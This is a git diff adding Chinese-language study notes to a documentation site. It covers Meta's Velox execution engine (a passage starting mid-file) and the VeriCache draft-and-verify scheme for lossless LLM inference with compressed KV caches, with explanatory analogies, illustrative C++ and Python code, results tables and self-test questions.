+- **硬件升级跟不上**：新加速器、NVRAM、Tensor 类型——每个引擎单独适配几乎不可能。
+
+Velox（Pedreira 等，VLDB 2022）的解法像**集团中央厨房 + 标准化配菜线**：
+
+- 各餐厅保留自己的**前台**（SQL 解析、DataFrame API、全局优化器、分布式调度）——这是**控制面（control-plane）**。
+- 真正在灶台上炒菜的部分——表达式求值、过滤、聚合、Join、序列化——抽成共享的 **C++ 执行库**，即 **数据面（data-plane）**。
+- Velox **不**提供 SQL 解析器，也**不**做全局查询优化；它接收**已经优化好的物理计划**，在**单节点**上高效执行。
+
+类比总结：
+
+| 餐厅集团 | 传统 Meta 数据栈 | Velox 之后 |
+|----------|------------------|------------|
+| 每家独立后厨 | Presto、Spark、XStream、F3… 各写一套执行引擎 | 共享 Velox「中央厨房」 |
+| 菜谱不一致 | 同名函数语义不同 | Presto/Spark 函数包统一行为 |
+| 扩容靠加店 | 每个引擎单独优化 | SIMD、自适应过滤等写一次、处处受益 |
+
+---
+
+## 这篇论文在解决什么问题
+
+### 1. 专用引擎泛滥 → 孤岛生态
+
+现代数据负载从 OLTP/OLAP 扩展到 ETL、流处理、日志时序、ML 预处理与特征工程。每种负载催生一个**专用引擎**，技术栈、语言、团队完全割裂，演进和优化成本按引擎数量线性放大。
+
+### 2. 差异主要在「外壳」，内核惊人相似
+
+论文指出：引擎之间的真正差异通常在**语言前端、优化器、分布式运行时、I/O 层**；而**执行内核**高度同质——都需要类型系统、列式内存布局、表达式引擎、Join/Agg/Sort 算子、序列化格式、内存与线程管理。
+
+### 3. 用户被迫在多引擎间切换
+
+ML 流水线常见路径：Spark 做大表 Join → Presto 交互调试 → 流处理实时特征 → PyTorch 训练。每一步可能遇到**不同的函数集、空值语义、类型行为**，摩擦巨大。论文估计 ML 预处理可占训练资源高达 **50%**，而 Meta 内部曾有约 **14 个**互不兼容的预处理库。
+
+---
+
+## Velox 的定位：做什么、不做什么
+
+**做什么（数据面组件）：**
+
+- 接收**物理查询计划**（算子 DAG），在本地 CPU/内存上执行。
+- 提供可插拔、可扩展的高性能组件（见下文「核心概念」）。
+- 运行时自适应：谓词重排、动态 filter pushdown、列预取等。
+
+**不做什么：**
+
+- 无 SQL/DataFrame 解析器。
+- 无全局代价优化器（CBO）。
+- 不直接面向终端数据用户——由 Presto Coordinator、Spark Driver 等上层系统调用。
+
+CMU 15-721 课程幻灯片用一句话概括：**Velox = 可扩展的单节点高性能查询执行 C++ 库**。
+
+---
+
+## 核心概念
+
+### 1. 模块化组件一览
+
+| 组件 | 职责 |
+|------|------|
+| **Type** | 标量/复杂/嵌套类型（struct、map、array、tensor、lambda）；支持扩展类型如 HyperLogLog |
+| **Vector** | Arrow 兼容的列式内存；Flat、Dictionary、Constant、RLE、Bias 等编码；Lazy 延迟物化 |
+| **Expression Eval** | 向量化表达式树编译与执行；CSE、常量折叠、自适应 AND/OR 重排、字典 peeling |
+| **Functions** | 标量/聚合函数 API；提供 Presto、Spark 语义函数包 |
+| **Operators** | TableScan、Filter、Project、Aggregation、HashJoin、Exchange、OrderBy、Unnest… |
+| **I/O** | 可插拔连接器；内置 ORC、Parquet、S3、HDFS |
+| **Serializers** | 网络交换格式：PrestoPage、Spark UnsafeRow |
+| **Resource Management** | Memory pool、Task/Driver/线程池、Spill、缓存 |
+
+引擎可按需裁剪：只需序列化层就接 Type + Vector + Serializer；完整 SQL 引擎则用上全部算子与资源管理。
+
+### 2. Vector：扩展版 Arrow 列存
+
+Velox Vector 在 Apache Arrow 基础上为**数仓工作负载**做了三处关键扩展（论文 4.2.1）：
+
+1. **StringView 字符串布局**：16 字节元数据 + 数据缓冲；≤12 字节短串完全内联，比较可短路前缀，部分操作可零拷贝。
+2. **乱序写入（out-of-order write）**：支持 `IF`/`SWITCH` 类条件：先算分支掩码，再分路向量化写同一输出列，避免多次拷贝。
+3. **更多编码**：RLE、Constant（整列同一字面量，如分区键）等。
+
+**Lazy Vector**：Join、条件投影等**选择性高**的场景下，列直到被访问才从 S3/HDFS 读取，可跳过大量 I/O。
+
+**DecodedVector**：函数开发者不必处理任意嵌套编码——解码为 flat + indices 的统一视图，单层字典零拷贝。
+
+### 3. 表达式引擎：编译 + 执行两阶段
+
+**编译期优化：**
+
+- **公共子表达式消除（CSE）**：`strpos(upper(a),'FOO')>0 OR strpos(upper(a),'BAR')>0` 中 `upper(a)` 只算一次。
+- **常量折叠**：`strpos('FOO','O')` → 字面量 `2`。
+- **合取重排扁平化**：`AND(AND(a,b),c)` → `AND(a,b,c,d,e)`，便于运行时按选择性排序。
+
+**执行期优化：**
+
+- **自适应合取/谓词顺序**：按 `time / (1 + values_in - values_out)` 评分，优先执行「最快丢掉最多行」的条件（TableScan 过滤与表达式 AND/OR 同源思想）。
+- **Peeling（字典剥离）**：字典列只对** distinct 值**求值，再按 indices 展开——千行颜色列若只有 3 种颜色，只对 3 个值调 `upper()`。
+- **Memoization**：多 batch 共享同一字典 base 时，复用已算好的 inner 结果。
+
+另有**实验性 Codegen**：把表达式树编成 C++ 源码再 `gcc/clang` 编译为 `.so`，适合小时级 ETL 或在线特征服务（高 QPS、小 batch）——编译可达 ~10s，不适合短查询。
+
+### 4. Simple Function API：降低 UDF 开发门槛
+
+向量化函数 API 功能完整但易错（空值位图、多种编码、嵌套类型）。Velox 提供 **Simple Function** 框架：开发者写**逐行** C++ 逻辑，框架用模板元编程批量应用到 Vector，并自动走 flat/null-free 快路径。
+
+论文 Figure 1 显示：复杂类型函数用 Simple API 往往**更快**——不是因为框架魔法，而是手写 vectorized 函数常漏掉优化分支，框架自动补齐。
+
+### 5. 执行模型：Task → Pipeline → Driver
+
+- **Task**：分布式执行中的计划片段 + 算子树；以 Exchange 或 TableScan 为源/汇。
+- **Pipeline**：算子树的线性子链（如 HashProbe 与 HashBuild 各一条 pipeline）。
+- **Driver**：pipeline 上的可恢复执行状态线程，可随时挂起等待 shuffle/扫描——比经典 Volcano **拉取式迭代器**更易做异步与 spill。
+
+**HashJoin / Aggregation** 共用基于 **F14** 思想的自适应哈希表：`VectorHasher` 识别键基数，能压成整数域就直接索引数组，否则归一化为 64-bit 键；哈希布局随新 batch **自适应调整**。
+
+### 6. 内存与 Spill
+
+- 大对象经 **mmap/madvise** 分配，减少碎片。
+- 层次化 **Memory Pool** + 可插拔 **Memory Arbiter**：超限时选择哪个 Task spill 或取消。
+- Operator 实现 spill 接口；Exchange 可在内存紧张时缩小缓冲。
+- **RAM + SSD 分层缓存**：列级任意大小缓存；热列预取；Meta 实测 RAM 命中 ~8GB/s，本地 SSD ~2–3GB/s，远端 ~700MB/s。
+
+---
+
+## Meta 内部集成场景（论文第 3 节）
+
+| 项目代号 | 宿主系统 | 要点 |
+|----------|----------|------|
+| **Prestissimo** | Presto Worker | C++ 替换 Java Worker；Coordinator 仍用 Java；消除 Worker 侧 JVM/GC |
+| **Spruce / SparkCpp** | Spark | 经 Spark script transform 把计划片段交给外部 C++ 进程；UnsafeRow 序列化保持兼容 |
+| **XStream** | 流处理 | 批到 500KB / 20s 窗口；复用 Presto 函数包；窗口聚合作为 Velox 扩展 |
+| **Scribe Read** | 消息总线 | 列式 wire 格式；下推投影/过滤，减跨机房流量 |
+| **FBETL** | 数据入仓 | 摄入时做投影/UDF/过滤，避免再建流处理应用 |
+| **TorchArrow** | PyTorch | DataFrame → Velox 计划；统一 ML 预处理（「DI for AI」） |
+| **F3** | 特征工程 | 离线 Spark + 实时 XStream 已接 Velox；在线 serving 小 batch 走 codegen |
+
+---
+
+## 代码示例 1：用 Simple Function API 注册标量函数
+
+论文 4.4.1 展示乘法 UDF 的典型写法——业务逻辑只管「一行」，框架负责向量化与空值默认传播：
+
+```cpp
+#include "velox/functions/Registerer.h"
+
+class MultiplyFunction {
+ public:
+  void call(int64_t& result, const int64_t& a, const int64_t& b) {
+    result = a * b;
+  }
+};
+
+// 注册为 SQL 可调用的 "multiply" 函数
+registerFunction<MultiplyFunction, int64_t, int64_t, int64_t>({"multiply"});
+```
+
+要点：
+
+- `call` 第一个参数是**输出引用**，其余为 `const` 输入。
+- 返回 `void` 表示**从不产生 NULL**；若返回 `bool` 则可逐行标记 NULL。
+- 默认 **default null behavior**：任一输入为 NULL 则跳过 `call`、输出 NULL。
+- 若需自定义空值语义，把参数改成指针类型并实现 `callNullable`。
+
+对比手写 vectorized 函数：你要自己遍历 `activeRows`、处理 `FlatVector`/`DictionaryVector`、分配输出 Buffer；Simple 框架通过 `DecodedVector` 隐藏编码细节，并让 clang/gcc 对算术类函数**自动向量化（SIMD）**。
+
+---
+
+## 代码示例 2：表达式求值最小闭环（官方 ExpressionEval 示例）
+
+Velox 仓库 `velox/examples/ExpressionEval.cpp` 展示了**不经过完整 SQL 引擎**、只用表达式模块的路径：注册 UDF → 搭表达式树 → 对 `RowVector` batch 调用 `ExprSet::eval`。
+
+```cpp
+#include "velox/core/Expressions.h"
+#include "velox/functions/Udf.h"
+#include "velox/vector/BaseVector.h"
+
+using namespace facebook::velox;
+
+// 1) 注册 times_two(x) = x * 2
+template <typename T>
+struct TimesTwoFunction {
+  FOLLY_ALWAYS_INLINE bool call(int64_t& out, const int64_t& a) {
+    out = a * 2;
+    return true;
+  }
+};
+
+int main() {
+  registerFunction<TimesTwoFunction, int64_t, int64_t>({"times_two"});
+
+  auto queryCtx = core::QueryCtx::create();
+  auto pool = memory::memoryManager()->addLeafPool();
+  core::ExecCtx execCtx{pool.get(), queryCtx.get()};
+
+  // 2) 表达式树：times_two(my_col)
+  auto fieldNode = std::make_shared<core::FieldAccessTypedExpr>(
+      BIGINT(), "my_col");
+  auto exprTree = std::make_shared<core::CallTypedExpr>(
+      BIGINT(), "times_two", fieldNode);
+  exec::ExprSet exprSet({exprTree}, &execCtx);
+
+  // 3) 输入 batch：10 行 my_col = 0,1,...,9
+  const size_t n = 10;
+  auto col = BaseVector::create<FlatVector<int64_t>>(
+      BIGINT(), n, execCtx.pool());
+  std::iota(col->mutableRawValues(), col->mutableRawValues() + n, 0);
+
+  auto rowVector = std::make_shared<RowVector>(
+      execCtx.pool(),
+      ROW({{"my_col", BIGINT()}}),
+      BufferPtr(nullptr),
+      n,
+      std::vector<VectorPtr>{col});
+
+  // 4) 求值
+  std::vector<VectorPtr> result{nullptr};
+  SelectivityVector rows{n};
+  exec::EvalCtx evalCtx(&execCtx, &exprSet, rowVector.get());
+  exprSet.eval(rows, evalCtx, result);
+  // 输出列应为 0, 2, 4, ..., 18
+  return 0;
+}
+```
+
+| 类型 | 角色 |
+|------|------|
+| `CallTypedExpr` / `FieldAccessTypedExpr` | 编译前的表达式 IR（Prestissimo 从 Presto 计划翻译而来） |
+| `ExprSet` | 编译 IR 并做 CSE、常量折叠；可跨 batch 复用 |
+| `RowVector` | 多列 batch 容器——表达式输入**总是** RowVector |
+| `SelectivityVector` | 位图：哪些行参与本步计算 |
+| `EvalCtx` | 每个 batch 一个；FilterProject 内部也是这套 API |
+
+完整 SQL 路径中，Prestissimo 把 Coordinator 下发的 **PlanFragment** 转成 `core::PlanNode` 算子树（TableScan → FilterProject → HashJoin…），再创建 `exec::Task` 与多个 `Driver` 并行执行 pipeline。
+
+---
+
+## 代码示例 3：字典列上的表达式求值（理解 Peeling）
+
+虽非完整可编译片段，但有助于理解论文 4.3.2 的 peeling 优化：
+
+```text
+输入：color 列，1000 行，Dictionary 编码
+  indices: [0,1,2,0,1,0,2,...]  (1000 个，取值 0..2)
+  base:    ["red", "green", "blue"]  (仅 3 个 distinct)
+
+表达式：upper(color)
+
+Peeling 后实际计算：
+  upper(["red", "green", "blue"]) → ["RED", "GREEN", "BLUE"]  // 只算 3 次
+
+再按 indices 展开回 1000 行的 Dictionary 结果 —— 避免对 1000 行各调一次 upper()
+```
+
+这对仓库里**高重复度**维度列（国家码、状态枚举）极其有效，也是 Velox 选择优化「复杂类型 + 字符串 + 嵌套」而非仅做 `int+int` 的原因——Meta 生产 CPU profile 显示这些操作占大头。
+
+---
+
+## 实验结果：Prestissimo vs Presto Java
+
+论文在 80 节点集群、3TB TPC-H（ORC、warm cache）上对比 Worker 执行层：
+
+| 查询 | 墙钟加速 | CPU 加速 | 瓶颈说明 |
+|------|----------|----------|----------|
+| Q1 | 8.4× | 6.5× | CPU 密集；C++ 侧反而等 Coordinator 派单 |
+| Q6 | 9× | 3.7× | 高选择性扫描 + 聚合 |
+| Q13 | 2× | 2.1× | Shuffle 成为新瓶颈 |
+| Q19 | 2.1× | 2.5× | 同上 |
+
+**生产流量回放**：平均加速约 **6–7×**，不少查询 **>10×**。
+
+**容量**：影子集群实验表明，Velox 栈用 **20 台**服务器即可达到原 Java 栈 **60 台**的同等工作负载与用户感知延迟——不仅是省 CPU，更是省机架与电力。
+
+---
+
+## 与相关系统的对比（论文第 7 节）
+
+| 系统 | 定位差异 |
+|------|----------|
+| **DuckDB** | 嵌入式完整 RDBMS（SQL 前端 + 存储）；Velox 是**模块化积木**，服务已有分布式引擎 |
+| **Apache Arrow Compute / Gandiva** | 主要是函数 kernel + LLVM；无完整 Join/Agg 算子与资源管理 |
+| **Photon (Databricks)** | 专有、深度绑定 Spark JVM；Velox 开源且**引擎无关** |
+| **Intel OAP / Gazelle** | 同样加速 Spark，范围较窄 |
+
+Velox 与 **Apache Arrow**、**Substrait**（跨语言计划 IR）同属「组件化数据栈」趋势——未来可能是多种前端 + 统一执行总线 + 可插拔硬件内核。
+
+---
+
+## 设计取舍与开放问题
+
+**优势：**
+
+- 优化**写一次、全栈受益**（SIMD 过滤、字典 memoization、F14 哈希…）。
+- **语义统一**：Presto 函数包被 XStream、FBETL、TorchArrow 复用。
+- **C++ 单节点极致性能** + 可选 codegen 覆盖小 batch 在线路径。
+
+**挑战（论文第 6 节）：**
+
+- **超低延迟 / 单行**场景：向量化解释开销大；F3 在线 serving 正探索 codegen。
+- **Codegen vs LLVM JIT**：编译延迟、可调试性、运行时在 interpreted/compiled 间切换——仍待研究。
+- **自治与自适应**：集群参数手工调优越来越难；论文指向 self-driving DB 方向。
+
+---
+
+## 零基础读者速记
+
+1. **Velox 不是数据库**，是帮你**造/加速**数据库执行部分的 C++ 库。
+2. 它吃**物理计划**，吐**列式结果**；SQL 从哪来、怎么分布式，上层说了算。
+3. **Vector + Expression Eval** 是心脏：Arrow 列存 + 向量化 + 自适应 + 字典优化。
+4. Meta 用它统一了 Presto Worker（Prestissimo）、Spark（Spruce/Gluten 生态）、流处理、入仓、PyTorch 预处理。
+5. 生产上常见 **数倍到一个数量级**加速，并显著**减少机器台数**。
+
+---
+
+## 延伸阅读
+
+- 论文：[Velox: Meta's Unified Execution Engine (VLDB 2022)](https://www.vldb.org/pvldb/vol15/p3372-pedreira.pdf) — doi:10.14778/3554821.3554829
+- 开源仓库：[facebookincubator/velox](https://github.com/facebookincubator/velox)
+- Meta 工程博客：[Introducing Velox (2023)](https://engineering.fb.com/2023/03/09/open-source/velox-open-source-execution-engine/)
+- CMU 15-721 讲义：[Velox slides](https://15721.courses.cs.cmu.edu/spring2023/slides/23-velox.pdf)
+- Spark 集成：[Apache Gluten](https://github.com/apache/incubator-gluten)（社区将 C++ 引擎接入 Spark 的 JNI + Substrait 方案）
+
+---
+
+## 自测题
+
+1. Velox 属于控制面还是数据面？为什么故意不做 SQL 解析器？
+2. Lazy Vector 在什么算子场景下能省 I/O？请结合选择性（selectivity）解释。
+3. Prestissimo 为何能去掉 Worker 上的 JVM？Coordinator 为什么可以保留 Java？
+4. 字典编码列上的 peeling 如何把 O(n) 次函数调用降到 O(distinct)？
+5. 若 shuffle 成为瓶颈，仅靠 Velox 执行层优化是否足够？论文建议的后续方向是什么？
+
+---
+
+*笔记基于 VLDB 2022 论文与 Meta 公开材料整理；代码示例 1 摘自论文 Simple Function 片段；示例 2 改编自 Velox 官方 `ExpressionEval.cpp`；示例 3 为 peeling 数据流示意。*
diff --git a/src/content/docs/papers/vericache.md b/src/content/docs/papers/vericache.md
new file mode 100644
index 000000000..f826bb7db
--- /dev/null
+++ b/src/content/docs/papers/vericache.md
@@ -0,0 +1,292 @@
+---
+title: VeriCache — 把有损 KV Cache 变成无损 LLM 推理
+来源: 'Jiayi Yao et al., "VeriCache: Turning Lossy KV Cache into Lossless LLM Inference", arXiv:2605.17613, Microsoft Research / University of Chicago / Tensormesh, 2026'
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：草稿纸 + 标准答案
+
+想象你在参加一场**开卷考试**，参考书厚得像字典，但考场规定：**桌上只能放一本「精简版笔记」**，完整字典必须锁在储物柜里。
+
+- **直接抄精简版**：写得快，但笔记删掉了细节。前几题可能全对，写到第 200 题时，某个关键公式被省略，后面整篇答案会**越写越偏**——这就是 **有损 KV 压缩** 直接用于推理时的典型命运。
+- **每题都搬整本字典上桌**：答案和标准卷完全一致，但搬书、翻页极慢，吞吐量崩掉——这就是 **全量 KV cache** 在长上下文下的代价。
+- **VeriCache 的做法**：平时只用精简笔记**快速起草**若干步答案；每隔一段，把字典里对应章节**搬上来对照**——对的段落保留，第一个错字立刻用标准答案纠正，然后继续起草。最终交卷内容与「全程抱着字典写」**逐字相同**，但大部分时间在写草稿，搬字典的开销被摊薄。
+
+论文要解决的，正是 LLM 推理里长期存在的 **准确率–吞吐量二选一**：压缩 KV 能省显存、提 batch、减传输，但输出会随生成长度**系统性偏离**全 KV 推理；VeriCache 用 **起草 + 验证** 把压缩 KV 变成「加速器」而非「替代品」，在 greedy decoding 下保证与全 KV **比特级一致**（论文定义：零温度 greedy，硬件浮点噪声除外）。
+
+---
+
+## 是什么
+
+**VeriCache** 是首个在推理框架层面保证 **与全 KV cache 解码输出相同**，同时 largely 保留各类 KV 压缩算法吞吐收益的 система。它受 **投机解码（speculative decoding）** 启发，但关键差异在于：
+
+1. **起草端（drafter）与验证端（verifier）是同一套模型权重**，只是 KV 不同——压缩 KV vs 完整 KV。
+2. **完整 KV 默认不在 GPU HBM 里**，验证时才从 CPU DRAM（长上下文解码）或远端/本地存储（prefix caching）换入，从而真正吃到压缩带来的 batch 与带宽红利。
+3. 通过 **跨资源交错调度（cross-resource staggering）** 和 **高接受率（长 draft horizon）**，把验证开销压到可接受范围。
+
+实验（基于 vLLM + LMCache）：长上下文解码最高约 **4×** 吞吐，远端 prefix caching 最高约 **2×**，输出与全 KV 一致；支持 token dropping 与量化等多类压缩器，经统一 **compressor interface** 接入，并可与传统 Eagle 等小模型投机解码 **叠加**。
+
+---
+
+## 为什么重要
+
+### KV cache 已是 serving 的主瓶颈
+
+Decoder 推理分 **prefill**（为 prompt 建 KV）和 **decode**（自回归读 KV 生成 token）。上下文到 100K–1M token 后：
+
+| 瓶颈类型 | 表现 |
+|----------|------|
+| 单请求内 | 每步 decode 要从 HBM 读**整段** KV；Llama-3.1-8B-1M 在 500K context 上，100 token 解码约 **2.5s**（论文量级） |
+| 多请求 batch | KV 占满显存 → batch size 从 ~50（2K ctx）掉到 **1**（100K ctx，Qwen-32B 量级） |
+| 跨请求复用 | 共享 prefix 的 KV 从 S3/网络加载；100K prefix 加载可与 prefill 同量级，**复用收益被传输吃掉** |
+
+### 有损压缩的「软指标陷阱」
+
+H2O、SnapKV、KVzip、KIVI、TurboQuant 等能把 KV 缩 **2–5×**，但几乎**全部有损**：改写了 attention 所见的 K/V，下一步分布从 \(p_{\text{full}}\) 变成 \(p_{\text{lossy}}\)。
+
+论文指出：
+
+- **F1、ROUGE、perplexity** 对短输出、开放问答仍「看起来不错」（F1 可 >75%）。
+- **功能正确性**（代码 diff 语法、tool call 参数完全匹配）在 KVzip 4× 下可**接近归零**。
+- 根因是 **逐步 KL 散度累积**：每步仅 ~0.023 nats 的偏差，250 步后序列级 KL ~6 nats，全 KV 序列在 lossy 分布下的概率约 \(e^{-6}\)——**指数级**偏离。
+
+对代码生成、Agent 工具调用、结构化输出，「语义差不多」不够；VeriCache 的价值是：**_compression 不应替换精确计算，而应加速精确计算_**。
+
+---
+
+## 核心概念
+
+### 1. KV cache 与两种压缩策略
+
+每层为历史 token 缓存 **Key / Value**，供后续 query attend。压缩大致两类（论文 Table 1 归纳）：
+
+- **Token dropping**：改 KV 形状——StreamingLLM 留 sink + 滑窗；DuoAttention 分 full/sparse head；KVzip 按重要性驱逐等。
+- **KV quantization**：改精度——KVQuant、KIVI、TurboQuant、CacheGen 等。
+
+VeriCache **不发明新压缩算法**，而是给任意符合接口的压缩器套上 **draft 层**。
+
+### 2. Draft–Verify–Accept 循环
+
+记 \(\text{KV}_{\text{comp}}\) 为压缩 cache，\(\text{KV}_{\text{full}}\) 为完整 cache：
+
+```text
+loop until EOS:
+  (1) Draft:  用 KV_comp 自回归生成 x 个候选 token: t₁…t_x
+  (2) Verify: 用 KV_full 对 x 个位置做**一次并行 forward**，得到 t₁*…t_{x+1}*
+  (3) Accept: 找第一个 j 使 t_j ≠ t_j*；接受 t₁…t_{j-1} 与修正 t_j*；若全匹配则接受 t₁…t_x 及 bonus t_{x+1}*
+  从最后接受位置继续 Draft
+```
+
+这与经典 speculative decoding 的 accept/reject 规则同族；差异在于 drafter 是 **同模型 + 压缩 KV**，接受长度可达 **25–40 token/轮**（4× KVzip），而 Eagle 等小模型 drafter 常只有 **2–3**。
+
+### 3. P1：跨资源交错（Cross-resource staggering）
+
+- **Draft**：压缩 KV 在 GPU HBM，单 token forward → **HBM 带宽 bound**，算力闲置。
+- **Verify**：从 CPU/PCIe 或存储拉全 KV，对 x token 并行 forward → **互联/存储带宽 + 算力 bound**。
+
+若所有请求 lock-step「先集体 draft 再集体 verify」，PCIe 会在 verify 轮**拥堵**，全 KV 在 HBM **空等**。VeriCache 把不同请求的 verify **错开到不同 iteration**，使 **PCIe 传 KV 与 GPU draft 重叠**。单 iteration 时间近似：
+
+\[
+T_{\text{iter}} = \max\left(\frac{M + B \cdot \text{KV}_{\text{full}} \cdot (c + 1/x)}{\text{BW}_{\text{hbm}}},\; \frac{B \cdot \text{KV}_{\text{full}}}{x \cdot \text{BW}_{\text{inter}}}\right)
+\]
+
+其中 \(c\) 为压缩比，\(x\) 为 draft 长度，\(B\) 为 batch size。
+
+### 4. P2：高接受率摊销验证
+
+压缩 KV 保留**同一权重**与**主导 attention 模式**，draft 与 full-KV 输出高度相关；\(x\) 可设 20–50 而 \(\gamma\)（接受率）仍 >0.8。验证频率 \(\propto 1/x\)，每轮接受 token 数 \(\propto \gamma \cdot x\)，二者同时大时验证才「划算」。
+
+### 5. 两种部署形态
+
+| 场景 | 压缩 KV 位置 | 完整 KV 位置 | 验证时 |
+|------|--------------|--------------|--------|
+| 长上下文 decode | GPU HBM | CPU DRAM | PCIe 换入 GPU |
+| 远端 prefix caching | 慢链路 → 远端 GPU draft | 存储 → 本地 GPU | 快链路 verify，远端等 accept 结果 |
+
+### 6. Runtime：BW ring + HBM ring
+
+调度器维护未来 \(W\) 个 iteration 的 **互联带宽环** 与 **HBM 占用环**，在 `Admit(request)` 时为下一次 verify 预订「全 KV 传输窗口」，避免链路或显存峰值；draft 长度从理想加速曲线（论文 Fig.8）取最优 \(x\)，不可行则 \(x\pm1, x\pm2…\) 搜索。
+
+---
+
+## 代码示例 1：最小 Draft–Verify–Accept（教学伪代码）
+
+下面用 Python 风格伪代码说明 **greedy** 下 VeriCache 的核心逻辑（非论文官方实现，便于零基础理解）：
+
+```python
+def vericache_decode(
+    model,
+    prompt_ids,
+    kv_full,           # 完整 KV，验证时在 GPU；平时可在 CPU
+    kv_comp,           # 压缩 KV，常驻 GPU
+    draft_len: int = 30,
+    max_new_tokens: int = 512,
+):
+    """Greedy VeriCache：输出与 kv_full 全路径 greedy 解码一致。"""
+    out = list(prompt_ids)
+
+    while len(out) - len(prompt_ids) < max_new_tokens:
+        # --- Draft phase：只用压缩 KV，逐 token 生成 ---
+        draft = []
+        kv_comp_work = kv_comp.clone()
+        for _ in range(draft_len):
+            logits = model.forward_one(out + draft, kv=kv_comp_work)
+            t = int(logits.argmax())
+            draft.append(t)
+            kv_comp_work = model.append_kv(kv_comp_work, t)
+            if t == eos_id:
+                break
+
+        if not draft:
+            break
+
+        # --- Verify phase：全 KV 一次 forward 多个位置 ---
+        # 并行得到每个位置的 full-KV argmax 预测 t*_1 … t*_{len(draft)+1}
+        star = model.forward_verify(out, draft, kv=kv_full)
+
+        # --- Accept phase：找第一个分歧 ---
+        accept_count = 0
+        for i, (t, t_star) in enumerate(zip(draft, star)):
+            if t != t_star:
+                out.append(t_star)  # 用 full-KV 修正
+                accept_count = i + 1
+                break
+        else:
+            # 全部 draft 命中：接受 draft + bonus token
+            out.extend(draft)
+            out.append(star[len(draft)])
+            accept_count = len(draft) + 1
+
+        # 更新 kv_full / kv_comp 到 out 末尾（实现细节略）
+        kv_full = model.extend_kv(kv_full, out[-accept_count:])
+        kv_comp = model.extend_kv(kv_comp, out[-accept_count:])
+
+        if out[-1] == eos_id:
+            break
+
+    return out
+```
+
+要点：
+
+- **Draft 慢、串行**；**Verify 快、并行**——与投机解码相同，但 drafter 不是小模型。
+- 第一个错误 token 处必须 **discard 后续 draft**，从 full-KV 的 \(t_j^*\) 重新起草，才能保证无损。
+
+---
+
+## 代码示例 2：统一 Compressor 接口 + 接受率估计
+
+论文 §6 强调：任意 token-drop / quant 方法只要实现同一接口，即可接入 VeriCache，无需改调度与验证。下面示意 **compressor plugin** 与 **动态 draft_len**：
+
+```python
+from abc import ABC, abstractmethod
+from dataclasses import dataclass
+
+@dataclass
+class CompressorStats:
+    compression_ratio: float   # c = |KV_comp| / |KV_full|
+    accept_rate: float         # γ(x, c)：x 步 draft 的平均接受比例
+
+class KVCompressor(ABC):
+    @abstractmethod
+    def compress(self, kv_full) -> object:
+        """prefill 后生成 KV_comp（如 KVzip 驱逐、KIVI 量化）。"""
+        ...
+
+    @abstractmethod
+    def ratio(self) -> float:
+        ...
+
+class KVzipCompressor(KVCompressor):
+    def __init__(self, keep_ratio: float = 0.25):
+        self.keep_ratio = keep_ratio
+
+    def compress(self, kv_full):
+        return kvzip_evict(kv_full, keep_ratio=self.keep_ratio)
+
+    def ratio(self):
+        return self.keep_ratio
+
+def pick_draft_len(stats: CompressorStats, target_verify_interval_ms: float) -> int:
+    """
+    论文 Fig.8：accept_rate 高时可增大 x，减少 verify 次数。
+    简化启发式：x ∝ γ / (1-γ) 的上界，并 clamp 到 [15, 50]。
+    """
+    gamma = max(stats.accept_rate, 0.5)
+    x_ideal = int(15 * gamma / (1 - gamma + 1e-6))
+    return max(15, min(50, x_ideal))
+
+# 使用
+compressor = KVzipCompressor(keep_ratio=0.25)
+kv_comp = compressor.compress(kv_full)
+stats = CompressorStats(
+    compression_ratio=compressor.ratio(),
+    accept_rate=0.82,  # 论文 4× compaction、x=30 时仍 >0.8
+)
+x = pick_draft_len(stats, target_verify_interval_ms=80.0)
+tokens = vericache_decode(model, prompt, kv_full, kv_comp, draft_len=x)
+```
+
+这与 vLLM/LMCache 集成时的思路一致：**压缩器只负责 `KV_full → KV_comp`**；runtime 负责 **何时 verify、PCIe 窗口、HBM ring**。
+
+---
+
+## 与相关工作的关系
+
+| 系统 | 与 VeriCache 的差异 |
+|------|---------------------|
+| MagicDec / QuantSpec / SparseSpec | 多把 **全 KV 留在 GPU**；无法在长上下文下释放 HBM 换 batch；远端 prefix 场景不适用 |
+| Eagle / MTP 等小模型投机 | drafter **参数不同**，接受长度短；可与 VeriCache **组合**（小模型 draft → 压缩 KV verify → 周期性全 KV verify） |
+| 纯 KV 压缩 serving | 吞吐高但 **lossy**；代码/tool 场景易 catastrophic failure |
+
+VeriCache 首次对 **多种** lossy 压缩（论文实例化 7 种）提供 **lossless 包装**。
+
+---
+
+## 实验结论（精读摘要）
+
+- **模型**：Qwen-32B、Llama-70B 等；**压缩**：KVzip 4× 等。
+- **长上下文 decode**：相对全 KV vLLM，最高 ~**4×** 吞吐，输出一致。
+- **远端 prefix caching**：相对全 KV 传输 baseline，最高 ~**2×**。
+- **VeriCache + Eagle**：理想加速 ~**4.35×** vs VeriCache 单独 ~3.5× vs Eagle 单独 ~1.78×（Appendix C 量级）。
+- **接受长度**：draft_len=30 时，VeriCache 4× 约 **19–23** accepted tokens/轮；Eagle ~**1–2**。
+
+---
+
+## 局限与开放问题
+
+1. **Greedy / rejection sampling 扩展**：正文以 greedy 阐述；采样需标准 rejection sampling，工程复杂度更高。
+2. **调度依赖硬件 profile**：PCIe Gen5 ×16、H100 HBM 等参数进入 \(T_{\text{iter}}\)；异构集群需在线校准 BW/HBM ring。
+3. **全 KV 存储成本**：CPU DRAM 或存储仍要存完整 KV——VeriCache 换的是 **GPU 时间与带宽**，不是「消灭全 KV」。
+4. **极端压缩比**：\(c\) 过小则 \(\gamma\) 下降，verify 变密，加速比回落；需与任务容忍度联合调参。
+5. **与 KV-Fold 等正交**：KV-Fold 用 **分 chunk  append 全 KV** 做长上下文；VeriCache 用 **压缩 draft + 全 KV 抽查** 做 lossless 加速——一个保状态完整递推，一个保输出等价于全 cache。
+
+---
+
+## 零基础自检清单
+
+读完后，用下面问题自测是否建立直觉：
+
+1. 为什么「F1 还行但代码 diff 全挂」？→ **逐步分布偏移累积**，功能指标零容错。
+2. VeriCache 和 Eagle 投机解码的三点区别？→ **同权重**、**全 KV 离 GPU**、**更长 accept run**。
+3. 为什么要 stagger verify？→ **Draft 吃 HBM 带宽，Verify 吃 PCIe + 算力**，交错才能双忙。
+4. 无损的定义？→ Greedy 下与 **始终用 KV_full decode** 相同 token 序列。
+5. compressor interface 解决什么？→ **算法与系统解耦**，H2O/KIVI/KVzip 等即插即用。
+
+---
+
+## 延伸阅读
+
+- 论文：[arXiv:2605.17613](https://arxiv.org/abs/2605.17613)（HTML 版便于读 Fig.2–10）
